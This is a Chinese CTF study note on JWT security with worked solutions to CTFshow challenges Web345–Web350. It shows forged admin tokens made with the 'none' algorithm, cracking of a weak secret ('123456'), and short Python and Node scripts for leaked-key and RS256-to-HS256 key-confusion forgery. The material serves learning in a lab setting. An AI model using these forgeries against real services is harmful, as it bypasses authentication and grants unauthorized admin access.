CTF:JWT安全学习笔记

一、什么是JWT?

贴个链接吧

JWT编码解码网站

二、JWT安全

JWT攻击

在题目中出现的大致可以分为以下几类：

更改加密算法为None,直接更改JWT中的内容

爆破secret_key

privite.key泄露

更改加密算法为HS256，使用公钥进行签名和验证

二、CTFshow 题解

Web345

可以拿到cookie:
auth=eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2ODk1ODQ0MDUsImV4cCI6MTY4OTU5MTYwNSwibmJmIjoxNjg5NTg0NDA1LCJzdWIiOiJ1c2VyIiwianRpIjoiNjFjZmMxN2M3YmFiZjQzMmI3NzAwZDIxNDNjM2ZmMjAifV0

解码可以得到：

{"alg":"None","typ":"jwt"}.[{"iss":"admin","iat":1689584405,"exp":1689591605,"nbf":1689584405,"sub":"user","jti":"61cfc17c7babf432b7700d2143c3ff20"}]

直接修改sub为admin，base64编码即可

eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3sic3ViIjoiYWRtaW4ifV0

（不知道为啥，删掉.前面的部分才能利用成功）

Web346

JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY4OTU4NjEzMSwiZXhwIjoxNjg5NTkzMzMxLCJuYmYiOjE2ODk1ODYxMzEsInN1YiI6InVzZXIiLCJqdGkiOiJmNTc2MTg4NjA4YjBhZDU3YWExNzk3N2U4ZjdjMmQ5YiJ9.P9GiPawpM1sqfPdyBL435J1mSRK2CoUSUy0kj9hu0wA

加密算法改为None:
Header为eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY4OTU4NjEzMSwiZXhwIjoxNjg5NTkzMzMxLCJuYmYiOjE2ODk1ODYxMzEsInN1YiI6ImFkbWluIiwianRpIjoiZjU3NjE4ODYwOGIwYWQ1N2FhMTc5NzdlOGY3YzJkOWIifQ.

再去掉sig，但是要保留.即可

Web347

提示里边说是弱口令

拿到JWT:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY4OTU4NjgyNiwiZXhwIjoxNjg5NTk0MDI2LCJuYmYiOjE2ODk1ODY4MjYsInN1YiI6InVzZXIiLCJqdGkiOiJiYTU3NGZmOTRlNjcxYTY0NWRjMTZjNDg4ZDNlMjI1OSJ9.qC7LSEn_ziQBrpHrJowBWis5H3LLFYrZY1q1IlhNeXs

前面一样，后面对secret进行爆破
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY4OTU4NjEzMSwiZXhwIjoxNjg5NTkzMzMxLCJuYmYiOjE2ODk1ODYxMzEsInN1YiI6ImFkbWluIiwianRpIjoiZjU3NjE4ODYwOGIwYWQ1N2FhMTc5NzdlOGY3YzJkOWIifQ.

secret=123456即可。

Web348

爆破secret

爆破工具

需要在Kali中运行，完成后爆破，之后的步骤和上题相同。

Web349

拿到JWT:

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImlhdCI6MTY4OTU4OTg0M30.X-9paL6uigd9YlXCxihK8qDfSe7lY50RgGfEgR7gqUuGKHZM7qrkTbJElQVsooU0zWzQrKyp3YaXjwx-RitFSQ6Lr1WIUfeOmYcd1nKdmcYzlDKUDlnVX6YyNW4TbpD6PvN5Dp0SohPdsT4eDCoC81qV4n7B-SoSdMl2Jl1bC7w

试下加密算法为none:
payload:
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.eyJ1c2VyIjogImFkbWluIiwiaWF0IjogMTY4OTU4OTg0M30.

python3版本的exp:

import jwt

with open('./Web349/private.key', 'r', encoding='utf-8') as f:
    public = f.read()

payload = {"user": "admin"}
print(jwt.encode(payload, key=public, algorithm='RS256'))

使用之前记得pip install pyJWT

Web350

exp.js:

const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)